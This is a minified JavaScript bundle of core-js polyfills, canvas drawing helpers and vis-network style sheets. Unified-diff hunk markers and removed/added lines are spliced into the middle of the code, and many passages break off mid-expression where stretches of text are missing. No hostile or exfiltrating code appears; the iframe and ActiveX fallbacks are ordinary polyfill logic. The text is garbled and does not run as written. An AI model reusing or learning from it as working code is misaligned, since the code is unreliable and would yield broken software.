tI=function(n,e){return{enumerable:!(n&1),configurable:!(n&2),writable:!(n&4),value:e}},Mz=Be,_z=Ze,kz=mi,rl=Object,Zz=Mz("".split),Is=_z(function(){return!rl("z").propertyIsEnumerable(0)})?function(n){return kz(n)==="String"?Zz(n,""):rl(n)}:rl,DA=function(n){return n==null},Bz=DA,Pz=TypeError,gI=function(n){if(Bz(n))throw new Pz("Can't call method on "+n);return n},jz=Is,Lz=gI,Yg=function(n){return jz(Lz(n))},_p=Pt,kp=Dp,Gz=kp.all,Kt=kp.IS_HTMLDDA?function(n){return typeof n=="object"?n!==null:_p(n)||n===Gz}:function(n){return typeof n=="object"?n!==null:_p(n)},je={},al=je,ll=ot,Fz=Pt,Zp=function(n){return Fz(n)?n:void 0},Ug=function(n,e){return arguments.length<2?Zp(al[n])||Zp(ll[n]):al[n]&&al[n][e]||ll[n]&&ll[n][e]},Vz=Be,st=Vz({}.isPrototypeOf),iI=typeof navigator<"u"&&String(navigator.userAgent)||"",Bp=ot,cl=iI,Pp=Bp.process,jp=Bp.Deno,Lp=Pp&&Pp.versions||jp&&jp.version,Gp=Lp&&Lp.v8,Hg,os;Gp&&(Hg=Gp.split("."),os=Hg[0]>0&&Hg[0]<4?1:+(Hg[0]+Hg[1])),!os&&cl&&(Hg=cl.match(/Edge\/(\d+)/),(!Hg||Hg[1]>=74)&&(Hg=cl.match(/Chrome\/(\d+)/),Hg&&(os=+Hg[1])));var nI=os,Fp=nI,Yz=Ze,Uz=ot,Hz=Uz.String,zA=!!Object.getOwnPropertySymbols&&!Yz(function(){var n=Symbol("symbol detection");return!Hz(n)||!(Object(n)instanceof Symbol)||!Symbol.sham&&Fp&&Fp<41}),Kz=zA,Vp=Kz&&!Symbol.sham&&typeof Symbol.iterator=="symbol",Qz=Ug,Xz=Pt,Wz=st,qz=Vp,Jz=Object,AI=qz?function(n){return typeof n=="symbol"}:function(n){var e=Qz("Symbol");return Xz(e)&&Wz(e.prototype,Jz(n))},$z=String,CI=function(n){try{return $z(n)}catch{return"Object"}},eR=Pt,tR=CI,gR=TypeError,jn=function(n){if(eR(n))return n;throw new gR(tR(n)+" is not a function")},iR=jn,nR=DA,ul=function(n,e){var t=n[e];return nR(t)?void 0:iR(t)},dl=Vg,hl=Pt,fl=Kt,AR=TypeError,CR=function(n,e){var t,i;if(e==="string"&&hl(t=n.toString)&&!fl(i=dl(t,n))||hl(t=n.valueOf)&&!fl(i=dl(t,n))||e!=="string"&&hl(t=n.toString)&&!fl(i=dl(t,n)))return i;throw new AR("Can't convert object to primitive value")},Yp={exports:{}},Up=ot,IR=Object.defineProperty,oR=function(n,e){try{IR(Up,n,{value:e,configurable:!0,writable:!0})}catch{Up[n]=e}return e},sR=ot,rR=oR,Hp="__core-js_shared__",aR=sR[Hp]||rR(Hp,{}),pl=aR,Kp=pl;(Yp.exports=function(n,e){return Kp[n]||(Kp[n]=e!==void 0?e:{})})("versions",[]).push({version:"3.33.0",mode:"pure",copyright:"© 2014-2023 Denis Pushkarev (zloirock.ru)",license:"https://github.com/zloirock/core-js/blob/v3.33.0/LICENSE",source:"https://github.com/zloirock/core-js"});var RA=Yp.exports,lR=gI,cR=Object,cg=function(n){return cR(lR(n))},uR=Be,dR=cg,hR=uR({}.hasOwnProperty),zt=Object.hasOwn||function(e,t){return hR(dR(e),t)},fR=Be,pR=0,mR=Math.random(),vR=fR(1 .toString),ss=function(n){return"Symbol("+(n===void 0?"":n)+")_"+vR(++pR+mR,36)},yR=ot,bR=RA,Qp=zt,wR=ss,ER=zA,TR=Vp,MA=yR.Symbol,ml=bR("wks"),SR=TR?MA.for||MA:MA&&MA.withoutSetter||wR,dt=function(n){return Qp(ml,n)||(ml[n]=ER&&Qp(MA,n)?MA[n]:SR("Symbol."+n)),ml[n]},OR=Vg,Xp=Kt,Wp=AI,xR=ul,NR=CR,DR=dt,zR=TypeError,RR=DR("toPrimitive"),MR=function(n,e){if(!Xp(n)||Wp(n))return n;var t=xR(n,RR),i;if(t){if(e===void 0&&(e="default"),i=OR(t,n,e),!Xp(i)||Wp(i))return i;throw new zR("Can't convert object to primitive value")}return e===void 0&&(e="number"),NR(n,e)},_R=MR,kR=AI,rs=function(n){var e=_R(n,"string");return kR(e)?e:e+""},ZR=ot,qp=Kt,vl=ZR.document,BR=qp(vl)&&qp(vl.createElement),Jp=function(n){return BR?vl.createElement(n):{}},PR=Dt,jR=Ze,LR=Jp,$p=!PR&&!jR(function(){return Object.defineProperty(LR("div"),"a",{get:function(){return 7}}).a!==7}),GR=Dt,FR=Vg,VR=eI,YR=tI,UR=Yg,HR=rs,KR=zt,QR=$p,em=Object.getOwnPropertyDescriptor;$C.f=GR?em:function(e,t){if(e=UR(e),t=HR(t),QR)try{return em(e,t)}catch{}if(KR(e,t))return YR(!FR(VR.f,e,t),e[t])};var XR=Ze,WR=Pt,qR=/#|\.prototype\./,II=function(n,e){var t=$R[JR(n)];return t===t3?!0:t===e3?!1:WR(e)?XR(e):!!e},JR=II.normalize=function(n){return String(n).replace(qR,".").toLowerCase()},$R=II.data={},e3=II.NATIVE="N",t3=II.POLYFILL="P",g3=II,tm=ol,i3=jn,n3=JC,A3=tm(tm.bind),oI=function(n,e){return i3(n),e===void 0?n:n3?A3(n,e):function(){return n.apply(e,arguments)}},ug={},C3=Dt,I3=Ze,gm=C3&&I3(function(){return Object.defineProperty(function(){},"prototype",{value:42,writable:!1}).prototype!==42}),o3=Kt,s3=String,r3=TypeError,vi=function(n){if(o3(n))return n;throw new r3(s3(n)+" is not an object")},a3=Dt,l3=$p,c3=gm,as=vi,im=rs,u3=TypeError,yl=Object.defineProperty,d3=Object.getOwnPropertyDescriptor,bl="enumerable",wl="configurable",El="writable";ug.f=a3?c3?function(e,t,i){if(as(e),t=im(t),as(i),typeof e=="function"&&t==="prototype"&&"value"in i&&El in i&&!i[El]){var C=d3(e,t);C&&C[El]&&(e[t]=i.value,i={configurable:wl in i?i[wl]:C[wl],enumerable:bl in i?i[bl]:C[bl],writable:!1})}return yl(e,t,i)}:yl:function(e,t,i){if(as(e),t=im(t),as(i),l3)try{return yl(e,t,i)}catch{}if("get"in i||"set"in i)throw new u3("Accessors not supported");return"value"in i&&(e[t]=i.value),e};var h3=Dt,f3=ug,p3=tI,_A=h3?function(n,e,t){return f3.f(n,e,p3(1,t))}:function(n,e,t){return n[e]=t,n},ls=ot,m3=As,v3=ol,y3=Pt,b3=$C.f,w3=g3,kA=je,E3=oI,ZA=_A,nm=zt,T3=function(n){var e=function(t,i,C){if(this instanceof e){switch(arguments.length){case 0:return new n;case 1:return new n(t);case 2:return new n(t,i)}return new n(t,i,C)}return m3(n,this,arguments)};return e.prototype=n.prototype,e},ue=function(n,e){var t=n.target,i=n.global,C=n.stat,o=n.proto,s=i?ls:C?ls[t]:(ls[t]||{}).prototype,a=i?kA:kA[t]||ZA(kA,t,{})[t],l=a.prototype,u,h,p,m,v,w,D,N,z;for(m in e)u=w3(i?m:t+(C?".":"#")+m,n.forced),h=!u&&s&&nm(s,m),w=a[m],h&&(n.dontCallGetSet?(z=b3(s,m),D=z&&z.value):D=s[m]),v=h&&D?D:e[m],!(h&&typeof w==typeof v)&&(n.bind&&h?N=E3(v,ls):n.wrap&&h?N=T3(v):o&&y3(v)?N=v3(v):N=v,(n.sham||v&&v.sham||w&&w.sham)&&ZA(N,"sham",!0),ZA(a,m,N),o&&(p=t+"Prototype",nm(kA,p)||ZA(kA,p,{}),ZA(kA[p],m,v),n.real&&l&&(u||!l[m])&&ZA(l,m,v)))},S3=Math.ceil,O3=Math.floor,x3=Math.trunc||function(e){var t=+e;return(t>0?O3:S3)(t)},N3=x3,cs=function(n){var e=+n;return e!==e||e===0?0:N3(e)},D3=cs,z3=Math.max,R3=Math.min,sI=function(n,e){var t=D3(n);return t<0?z3(t+e,0):R3(t,e)},M3=cs,_3=Math.min,k3=function(n){return n>0?_3(M3(n),9007199254740991):0},Z3=k3,Og=function(n){return Z3(n.length)},B3=Yg,P3=sI,j3=Og,Am=function(n){return function(e,t,i){var C=B3(e),o=j3(C),s=P3(i,o),a;if(n&&t!==t){for(;o>s;)if(a=C[s++],a!==a)return!0}else for(;o>s;s++)if((n||s in C)&&C[s]===t)return n||s||0;return!n&&-1}},Tl={includes:Am(!0),indexOf:Am(!1)},rI={},L3=Be,Sl=zt,G3=Yg,F3=Tl.indexOf,V3=rI,Cm=L3([].push),Im=function(n,e){var t=G3(n),i=0,C=[],o;for(o in t)!Sl(V3,o)&&Sl(t,o)&&Cm(C,o);for(;e.length>i;)Sl(t,o=e[i++])&&(~F3(C,o)||Cm(C,o));return C},Ol=["constructor","hasOwnProperty","isPrototypeOf","propertyIsEnumerable","toLocaleString","toString","valueOf"],Y3=Im,U3=Ol,aI=Object.keys||function(e){return Y3(e,U3)},lI={};lI.f=Object.getOwnPropertySymbols;var om=Dt,H3=Be,K3=Vg,Q3=Ze,xl=aI,X3=lI,W3=eI,q3=cg,J3=Is,BA=Object.assign,sm=Object.defineProperty,$3=H3([].concat),eM=!BA||Q3(function(){if(om&&BA({b:1},BA(sm({},"a",{enumerable:!0,get:function(){sm(this,"b",{value:3,enumerable:!1})}}),{b:2})).b!==1)return!0;var n={},e={},t=Symbol("assign detection"),i="abcdefghijklmnopqrst";return n[t]=7,i.split("").forEach(function(C){e[C]=C}),BA({},n)[t]!==7||xl(BA({},e)).join("")!==i})?function(e,t){for(var i=q3(e),C=arguments.length,o=1,s=X3.f,a=W3.f;C>o;)for(var l=J3(arguments[o++]),u=s?$3(xl(l),s(l)):xl(l),h=u.length,p=0,m;h>p;)m=u[p++],(!om||K3(a,l,m))&&(i[m]=l[m]);return i}:BA,tM=ue,rm=eM;tM({target:"Object",stat:!0,forced:Object.assign!==rm},{assign:rm});var gM=je,iM=gM.Object.assign,nM=iM,AM=nM,CM=AM,ht=ae(CM),IM=Be,us=IM([].slice),am=Be,oM=jn,sM=Kt,rM=zt,lm=us,aM=JC,cm=Function,lM=am([].concat),cM=am([].join),Nl={},uM=function(n,e,t){if(!rM(Nl,e)){for(var i=[],C=0;C=.1;)w=+o[p++%s],w>h&&(w=h),v=Math.sqrt(w*w/(1+u*u)),v=a<0?-v:v,e+=v,t+=u*v,m===!0?n.lineTo(e,t):n.moveTo(e,t),h-=w,m=!m}function zM(n,e,t,i){n.beginPath();const C=6,o=Math.PI*2/C;n.moveTo(e+i,t);for(let s=1;s1?t-1:0),C=1;C"u")){var i=document.head||document.getElementsByTagName("head")[0],C=document.createElement("style");C.type="text/css",t==="top"&&i.firstChild?i.insertBefore(C,i.firstChild):i.appendChild(C),C.styleSheet?C.styleSheet.cssText=n:C.appendChild(document.createTextNode(n))}}var MM=`.vis-overlay { position: absolute; top: 0px; right: 0px; @@ -83,13 +83,13 @@ Set the \`cycles\` parameter to \`"ref"\` to resolve cyclical schemas with defs. .vis-active { box-shadow: 0 0 10px #86d5f8; } -`;Ln(x3);var N3=`/* override some bootstrap styles screwing up the timelines css */ +`;Ln(MM);var _M=`/* override some bootstrap styles screwing up the timelines css */ .vis [class*="span"] { min-height: 0; width: auto; } -`;Ln(N3);var D3=`div.vis-color-picker { +`;Ln(_M);var kM=`div.vis-color-picker { position: absolute; top: 0px; left: 30px; @@ -334,7 +334,7 @@ div.vis-color-picker input.vis-range-brightness { div.vis-color-picker input.vis-saturation-range { width: 289px !important; }*/ -`;Ln(D3);var z3=`div.vis-configuration { +`;Ln(kM);var ZM=`div.vis-configuration { position: relative; display: block; float: left; @@ -677,7 +677,7 @@ input.vis-configuration.vis-config-range:focus::-ms-fill-upper { border-width: 12px; margin-top: -12px; } -`;Ln(z3);var R3=`div.vis-tooltip { +`;Ln(ZM);var BM=`div.vis-tooltip { position: absolute; visibility: hidden; padding: 5px; @@ -698,12 +698,12 @@ input.vis-configuration.vis-config-range:focus::-ms-fill-upper { z-index: 5; } -`;Ln(R3);var fm={exports:{}};(function(n){n.exports=e;function e(i){if(i)return t(i)}function t(i){for(var C in e.prototype)i[C]=e.prototype[C];return i}e.prototype.on=e.prototype.addEventListener=function(i,C){return this._callbacks=this._callbacks||{},(this._callbacks["$"+i]=this._callbacks["$"+i]||[]).push(C),this},e.prototype.once=function(i,C){function o(){this.off(i,o),C.apply(this,arguments)}return o.fn=C,this.on(i,o),this},e.prototype.off=e.prototype.removeListener=e.prototype.removeAllListeners=e.prototype.removeEventListener=function(i,C){if(this._callbacks=this._callbacks||{},arguments.length==0)return this._callbacks={},this;var o=this._callbacks["$"+i];if(!o)return this;if(arguments.length==1)return delete this._callbacks["$"+i],this;for(var s,a=0;aZ3)throw k3("Maximum allowed index exceeded");return n},B3=rs,P3=cg,j3=tI,cI=function(n,e,t){var i=B3(e);i in n?P3.f(n,i,j3(0,t)):n[i]=t},L3=dt,G3=L3("toStringTag"),mm={};mm[G3]="z";var _l=String(mm)==="[object z]",F3=_l,V3=Pt,ds=mi,Y3=dt,U3=Y3("toStringTag"),H3=Object,K3=ds((function(){return arguments})())==="Arguments",Q3=function(n,e){try{return n[e]}catch{}},yi=F3?ds:function(n){var e,t,i;return n===void 0?"Undefined":n===null?"Null":typeof(t=Q3(e=H3(n),U3))=="string"?t:K3?ds(e):(i=ds(e))==="Object"&&V3(e.callee)?"Arguments":i},X3=Be,W3=Pt,kl=pl,q3=X3(Function.toString);W3(kl.inspectSource)||(kl.inspectSource=function(n){return q3(n)});var J3=kl.inspectSource,$3=Be,e_=Ze,vm=Pt,t_=yi,g_=Ug,i_=J3,ym=function(){},n_=[],bm=g_("Reflect","construct"),Zl=/^\s*(?:class|function)\b/,A_=$3(Zl.exec),C_=!Zl.test(ym),uI=function(e){if(!vm(e))return!1;try{return bm(ym,n_,e),!0}catch{return!1}},wm=function(e){if(!vm(e))return!1;switch(t_(e)){case"AsyncFunction":case"GeneratorFunction":case"AsyncGeneratorFunction":return!1}try{return C_||!!A_(Zl,i_(e))}catch{return!0}};wm.sham=!0;var Em=!bm||e_(function(){var n;return uI(uI.call)||!uI(Object)||!uI(function(){n=!0})||n})?wm:uI,Tm=Xi,I_=Em,o_=Kt,s_=dt,r_=s_("species"),Sm=Array,a_=function(n){var e;return Tm(n)&&(e=n.constructor,I_(e)&&(e===Sm||Tm(e.prototype))?e=void 0:o_(e)&&(e=e[r_],e===null&&(e=void 0))),e===void 0?Sm:e},l_=a_,hs=function(n,e){return new(l_(n))(e===0?0:e)},c_=Ze,u_=dt,d_=nI,h_=u_("species"),dI=function(n){return d_>=51||!c_(function(){var e=[],t=e.constructor={};return t[h_]=function(){return{foo:1}},e[n](Boolean).foo!==1})},f_=ue,p_=Ze,m_=Xi,v_=Kt,y_=lg,b_=Sg,Om=Ml,xm=cI,w_=hs,E_=dI,T_=dt,S_=nI,Nm=T_("isConcatSpreadable"),O_=S_>=51||!p_(function(){var n=[];return n[Nm]=!1,n.concat()[0]!==n}),x_=function(n){if(!v_(n))return!1;var e=n[Nm];return e!==void 0?!!e:m_(n)},N_=!O_||!E_("concat");f_({target:"Array",proto:!0,forced:N_},{concat:function(e){var t=y_(this),i=w_(t,0),C=0,o,s,a,l,u;for(o=-1,a=arguments.length;os;)__.f(e,a=C[s++],i[a]);return e};var P_=Ug,j_=P_("document","documentElement"),L_=RA,G_=ss,Dm=L_("keys"),ps=function(n){return Dm[n]||(Dm[n]=G_(n))},F_=vi,V_=fs,zm=Ol,Y_=rI,U_=j_,H_=Wp,K_=ps,Rm=">",Mm="<",Bl="prototype",Pl="script",_m=K_("IE_PROTO"),jl=function(){},km=function(n){return Mm+Pl+Rm+n+Mm+"/"+Pl+Rm},Zm=function(n){n.write(km("")),n.close();var e=n.parentWindow.Object;return n=null,e},Q_=function(){var n=H_("iframe"),e="java"+Pl+":",t;return n.style.display="none",U_.appendChild(n),n.src=String(e),t=n.contentWindow.document,t.open(),t.write(km("document.F=Object")),t.close(),t.F},ms,vs=function(){try{ms=new ActiveXObject("htmlfile")}catch{}vs=typeof document<"u"?document.domain&&ms?Zm(ms):Q_():Zm(ms);for(var n=zm.length;n--;)delete vs[Bl][zm[n]];return vs()};Y_[_m]=!0;var hI=Object.create||function(e,t){var i;return e!==null?(jl[Bl]=F_(e),i=new jl,jl[Bl]=null,i[_m]=e):i=vs(),t===void 0?i:V_.f(i,t)},fI={},X_=Am,W_=Ol,q_=W_.concat("length","prototype");fI.f=Object.getOwnPropertyNames||function(e){return X_(e,q_)};var ys={},Bm=sI,J_=Sg,$_=cI,e5=Array,t5=Math.max,Pm=function(n,e,t){for(var i=J_(n),C=Bm(e,i),o=Bm(t===void 0?i:t,i),s=e5(t5(o-C,0)),a=0;Cx;x++)if((a||x in v)&&(V=v[x],L=w(V,x,m),n))if(e)k[x]=L;else if(L)switch(n){case 3:return!0;case 5:return V;case 6:return x;case 2:Qm(k,V)}else switch(n){case 4:return!1;case 7:Qm(k,V)}return o?-1:i||C?C:k}},Wi={forEach:Fn(0),map:Fn(1),filter:Fn(2),some:Fn(3),every:Fn(4),find:Fn(5),findIndex:Fn(6)},Es=ue,Ts=ot,Yl=Vg,G5=Be,LA=zt,GA=zA,F5=Ze,_t=Rt,V5=st,Ul=vi,Ss=Yg,Hl=rs,Y5=gi,Kl=tI,yI=hI,Xm=aI,U5=fI,Wm=ys,H5=lI,qm=$C,Jm=cg,K5=fs,$m=eI,ev=pI,Q5=Ll,Ql=RA,X5=ps,tv=rI,gv=ss,W5=dt,q5=mI,J5=rt,$5=Fm,ek=PA,iv=Gn,Os=Wi.forEach,gg=X5("hidden"),xs="Symbol",bI="prototype",tk=iv.set,nv=iv.getterFor(xs),Kg=Object[bI],Vn=Ts.Symbol,wI=Vn&&Vn[bI],gk=Ts.RangeError,ik=Ts.TypeError,Xl=Ts.QObject,Av=qm.f,Yn=Jm.f,Cv=Wm.f,nk=$m.f,Iv=G5([].push),bi=Ql("symbols"),EI=Ql("op-symbols"),Ak=Ql("wks"),Wl=!Xl||!Xl[bI]||!Xl[bI].findChild,ov=function(n,e,t){var i=Av(Kg,e);i&&delete Kg[e],Yn(n,e,t),i&&n!==Kg&&Yn(Kg,e,i)},ql=LA&&F5(function(){return yI(Yn({},"a",{get:function(){return Yn(this,"a",{value:7}).a}})).a!==7})?ov:Yn,Jl=function(n,e){var t=bi[n]=yI(wI);return tk(t,{type:xs,tag:n,description:e}),LA||(t.description=e),t},Ns=function(e,t,i){e===Kg&&Ns(EI,t,i),Ul(e);var C=Hl(t);return Ul(i),_t(bi,C)?(i.enumerable?(_t(e,gg)&&e[gg][C]&&(e[gg][C]=!1),i=yI(i,{enumerable:Kl(0,!1)})):(_t(e,gg)||Yn(e,gg,Kl(1,{})),e[gg][C]=!0),ql(e,C,i)):Yn(e,C,i)},$l=function(e,t){Ul(e);var i=Ss(t),C=Xm(i).concat(lv(i));return Os(C,function(o){(!LA||Yl(sv,i,o))&&Ns(e,o,i[o])}),e},Ck=function(e,t){return t===void 0?yI(e):$l(yI(e),t)},sv=function(e){var t=Hl(e),i=Yl(nk,this,t);return this===Kg&&_t(bi,t)&&!_t(EI,t)?!1:i||!_t(this,t)||!_t(bi,t)||_t(this,gg)&&this[gg][t]?i:!0},rv=function(e,t){var i=Ss(e),C=Hl(t);if(!(i===Kg&&_t(bi,C)&&!_t(EI,C))){var o=Av(i,C);return o&&_t(bi,C)&&!(_t(i,gg)&&i[gg][C])&&(o.enumerable=!0),o}},av=function(e){var t=Cv(Ss(e)),i=[];return Os(t,function(C){!_t(bi,C)&&!_t(tv,C)&&Iv(i,C)}),i},lv=function(n){var e=n===Kg,t=Cv(e?EI:Ss(n)),i=[];return Os(t,function(C){_t(bi,C)&&(!e||_t(Kg,C))&&Iv(i,bi[C])}),i};GA||(Vn=function(){if(V5(wI,this))throw new ik("Symbol is not a constructor");var e=!arguments.length||arguments[0]===void 0?void 0:Y5(arguments[0]),t=gv(e),i=function(C){this===Kg&&Yl(i,EI,C),_t(this,gg)&&_t(this[gg],t)&&(this[gg][t]=!1);var o=Kl(1,C);try{ql(this,t,o)}catch(s){if(!(s instanceof gk))throw s;ov(this,t,o)}};return LA&&Wl&&ql(Kg,t,{configurable:!0,set:i}),Jl(t,e)},wI=Vn[bI],ev(wI,"toString",function(){return nv(this).tag}),ev(Vn,"withoutSetter",function(n){return Jl(gv(n),n)}),$m.f=sv,Jm.f=Ns,K5.f=$l,qm.f=rv,U5.f=Wm.f=av,H5.f=lv,q5.f=function(n){return Jl(W5(n),n)},LA&&Q5(wI,"description",{configurable:!0,get:function(){return nv(this).description}})),Es({global:!0,wrap:!0,forced:!GA,sham:!GA},{Symbol:Vn}),Os(Xm(Ak),function(n){J5(n)}),Es({target:xs,stat:!0,forced:!GA},{useSetter:function(){Wl=!0},useSimple:function(){Wl=!1}}),Es({target:"Object",stat:!0,forced:!GA,sham:!LA},{create:Ck,defineProperty:Ns,defineProperties:$l,getOwnPropertyDescriptor:rv}),Es({target:"Object",stat:!0,forced:!GA},{getOwnPropertyNames:av}),$5(),ek(Vn,xs),tv[gg]=!0;var Ik=zA,cv=Ik&&!!Symbol.for&&!!Symbol.keyFor,ok=ue,sk=Ug,rk=Rt,ak=gi,uv=RA,lk=cv,ec=uv("string-to-symbol-registry"),ck=uv("symbol-to-string-registry");ok({target:"Symbol",stat:!0,forced:!lk},{for:function(n){var e=ak(n);if(rk(ec,e))return ec[e];var t=sk("Symbol")(e);return ec[e]=t,ck[t]=e,t}});var uk=ue,dk=Rt,hk=AI,fk=CI,pk=RA,mk=cv,dv=pk("symbol-to-string-registry");uk({target:"Symbol",stat:!0,forced:!mk},{keyFor:function(e){if(!hk(e))throw new TypeError(fk(e)+" is not a symbol");if(dk(dv,e))return dv[e]}});var vk=Be,hv=Xi,yk=Pt,fv=mi,bk=gi,pv=vk([].push),wk=function(n){if(yk(n))return n;if(hv(n)){for(var e=n.length,t=[],i=0;i=e.length)return n.target=void 0,_s(void 0,!0);switch(t){case"keys":return _s(i,!1);case"values":return _s(e[i],!1)}return _s([i,e[i]],!1)},"values"),Fv.Arguments=Fv.Array;var UZ={CSSRuleList:0,CSSStyleDeclaration:0,CSSValueList:0,ClientRectList:0,DOMRectList:0,DOMStringList:0,DOMTokenList:1,DataTransferItemList:0,FileList:0,HTMLAllCollection:0,HTMLCollection:0,HTMLFormElement:0,HTMLSelectElement:0,MediaList:0,MimeTypeArray:0,NamedNodeMap:0,NodeList:1,PaintRequestList:0,Plugin:0,PluginArray:0,SVGLengthList:0,SVGNumberList:0,SVGPathSegList:0,SVGPointList:0,SVGStringList:0,SVGTransformList:0,SourceBufferList:0,StyleSheetList:0,TextTrackCueList:0,TextTrackList:0,TouchList:0},HZ=UZ,KZ=ot,QZ=yi,XZ=_A,Uv=FA,WZ=dt,Hv=WZ("toStringTag");for(var sc in HZ){var Kv=KZ[sc],rc=Kv&&Kv.prototype;rc&&QZ(rc)!==Hv&&XZ(rc,Hv,sc),Uv[sc]=Uv.Array}var qZ=AZ,Qv=qZ,JZ=Qv,$Z=re(JZ),eB=ue,Xv=Xi,tB=Em,gB=Kt,Wv=sI,iB=Sg,nB=Yg,AB=cI,CB=dt,IB=dI,oB=us,sB=IB("slice"),rB=CB("species"),ac=Array,aB=Math.max;eB({target:"Array",proto:!0,forced:!sB},{slice:function(e,t){var i=nB(this),C=iB(i),o=Wv(e,C),s=Wv(t===void 0?C:t,C),a,l,u;if(Xv(i)&&(a=i.constructor,tB(a)&&(a===ac||Xv(a.prototype))?a=void 0:gB(a)&&(a=a[rB],a===null&&(a=void 0)),a===ac||a===void 0))return oB(i,o,s);for(l=new(a===void 0?ac:a)(aB(s-o,0)),u=0;o1?arguments[1]:void 0)}});var UB=wt,HB=UB("Array").map,KB=st,QB=HB,cc=Array.prototype,XB=function(n){var e=n.map;return n===cc||KB(cc,n)&&e===cc.map?QB:e},WB=XB,qB=WB,JB=qB,jt=re(JB),$B=ue,eP=lg,Jv=aI,tP=Ze,gP=tP(function(){Jv(1)});$B({target:"Object",stat:!0,forced:gP},{keys:function(e){return Jv(eP(e))}});var iP=Le,nP=iP.Object.keys,AP=nP,CP=AP,IP=CP,$e=re(IP),oP=ue,sP=Be,$v=Date,rP=sP($v.prototype.getTime);oP({target:"Date",stat:!0},{now:function(){return rP(new $v)}});var aP=Le,lP=aP.Date.now,cP=lP,uP=cP,dP=uP,ks=re(dP),hP=Ze,VA=function(n,e){var t=[][n];return!!t&&hP(function(){t.call(null,e||function(){return 1},1)})},fP=Wi.forEach,pP=VA,mP=pP("forEach"),vP=mP?[].forEach:function(e){return fP(this,e,arguments.length>1?arguments[1]:void 0)},yP=ue,ey=vP;yP({target:"Array",proto:!0,forced:[].forEach!==ey},{forEach:ey});var bP=wt,wP=bP("Array").forEach,EP=wP,TP=EP,SP=yi,OP=Rt,xP=st,NP=TP,uc=Array.prototype,DP={DOMTokenList:!0,NodeList:!0},zP=function(n){var e=n.forEach;return n===uc||xP(uc,n)&&e===uc.forEach||OP(DP,SP(n))?NP:e},RP=zP,De=re(RP),MP=ue,_P=Be,kP=Xi,ZP=_P([].reverse),ty=[1,2];MP({target:"Array",proto:!0,forced:String(ty)===String(ty.reverse())},{reverse:function(){return kP(this)&&(this.length=this.length),ZP(this)}});var BP=wt,PP=BP("Array").reverse,jP=st,LP=PP,dc=Array.prototype,GP=function(n){var e=n.reverse;return n===dc||jP(dc,n)&&e===dc.reverse?LP:e},FP=GP,VP=FP,YP=VP,Un=re(YP),UP=zt,HP=Xi,KP=TypeError,QP=Object.getOwnPropertyDescriptor,XP=UP&&!(function(){if(this!==void 0)return!0;try{Object.defineProperty([],"length",{writable:!1}).length=1}catch(n){return n instanceof TypeError}})(),WP=XP?function(n,e){if(HP(n)&&!QP(n,"length").writable)throw new KP("Cannot set read only .length");return n.length=e}:function(n,e){return n.length=e},gy=CI,qP=TypeError,iy=function(n,e){if(!delete n[e])throw new qP("Cannot delete property "+gy(e)+" of "+gy(n))},JP=ue,$P=lg,e4=sI,t4=cs,g4=Sg,i4=WP,n4=Ml,A4=hs,C4=cI,hc=iy,I4=dI,o4=I4("splice"),s4=Math.max,r4=Math.min;JP({target:"Array",proto:!0,forced:!o4},{splice:function(e,t){var i=$P(this),C=g4(i),o=e4(e,C),s=arguments.length,a,l,u,h,p,m;for(s===0?a=l=0:s===1?(a=0,l=C-o):(a=s-2,l=r4(s4(t4(t),0),C-o)),n4(C+a-l),u=A4(i,l),h=0;hC-l+a;h--)hc(i,h-1)}else if(a>l)for(h=C-l;h>o;h--)p=h+l-1,m=h+a-1,p in i?i[m]=i[p]:hc(i,m);for(h=0;h1?arguments[1]:void 0)}});var w4=wt,E4=w4("Array").includes,T4=Kt,S4=mi,O4=dt,x4=O4("match"),N4=function(n){var e;return T4(n)&&((e=n[x4])!==void 0?!!e:S4(n)==="RegExp")},D4=N4,z4=TypeError,R4=function(n){if(D4(n))throw new z4("The method doesn't accept regular expressions");return n},M4=dt,_4=M4("match"),k4=function(n){var e=/./;try{"/./"[n](e)}catch{try{return e[_4]=!1,"/./"[n](e)}catch{}}return!1},Z4=ue,B4=Be,P4=R4,j4=gI,ny=gi,L4=k4,G4=B4("".indexOf);Z4({target:"String",proto:!0,forced:!L4("includes")},{includes:function(e){return!!~G4(ny(j4(this)),ny(P4(e)),arguments.length>1?arguments[1]:void 0)}});var F4=wt,V4=F4("String").includes,Ay=st,Y4=E4,U4=V4,pc=Array.prototype,mc=String.prototype,H4=function(n){var e=n.includes;return n===pc||Ay(pc,n)&&e===pc.includes?Y4:typeof n=="string"||n===mc||Ay(mc,n)&&e===mc.includes?U4:e},K4=H4,Q4=K4,X4=Q4,Ji=re(X4),W4=ue,q4=Ze,J4=lg,Cy=zs,$4=Mv,ej=q4(function(){Cy(1)});W4({target:"Object",stat:!0,forced:ej,sham:!$4},{getPrototypeOf:function(e){return Cy(J4(e))}});var tj=Le,gj=tj.Object.getPrototypeOf,ij=gj,nj=ij,Aj=nj,Iy=re(Aj),Cj=wt,Ij=Cj("Array").concat,oj=st,sj=Ij,vc=Array.prototype,rj=function(n){var e=n.concat;return n===vc||oj(vc,n)&&e===vc.concat?sj:e},aj=rj,lj=aj,cj=lj,oy=re(cj),uj=ue,dj=Wi.filter,hj=dI,fj=hj("filter");uj({target:"Array",proto:!0,forced:!fj},{filter:function(e){return dj(this,e,arguments.length>1?arguments[1]:void 0)}});var pj=wt,mj=pj("Array").filter,vj=st,yj=mj,yc=Array.prototype,bj=function(n){var e=n.filter;return n===yc||vj(yc,n)&&e===yc.filter?yj:e},wj=bj,Ej=wj,Tj=Ej,Et=re(Tj),sy=zt,Sj=Ze,ry=Be,Oj=zs,xj=aI,Nj=Yg,Dj=eI.f,ay=ry(Dj),zj=ry([].push),Rj=sy&&Sj(function(){var n=Object.create(null);return n[2]=2,!ay(n,2)}),Mj=function(n){return function(e){for(var t=Nj(e),i=xj(t),C=Rj&&Oj(t)===null,o=i.length,s=0,a=[],l;o>s;)l=i[s++],(!sy||(C?l in t:ay(t,l)))&&zj(a,n?[l,t[l]]:t[l]);return a}},_j={values:Mj(!1)},kj=ue,Zj=_j.values;kj({target:"Object",stat:!0},{values:function(e){return Zj(e)}});var Bj=Le,Pj=Bj.Object.values,jj=Pj,Lj=jj,Gj=Lj,Fj=re(Gj),bc=` -\v\f\r                 \u2028\u2029\uFEFF`,Vj=Be,Yj=gI,Uj=gi,wc=bc,ly=Vj("".replace),Hj=RegExp("^["+wc+"]+"),Kj=RegExp("(^|[^"+wc+"])["+wc+"]+$"),Qj=function(n){return function(e){var t=Uj(Yj(e));return 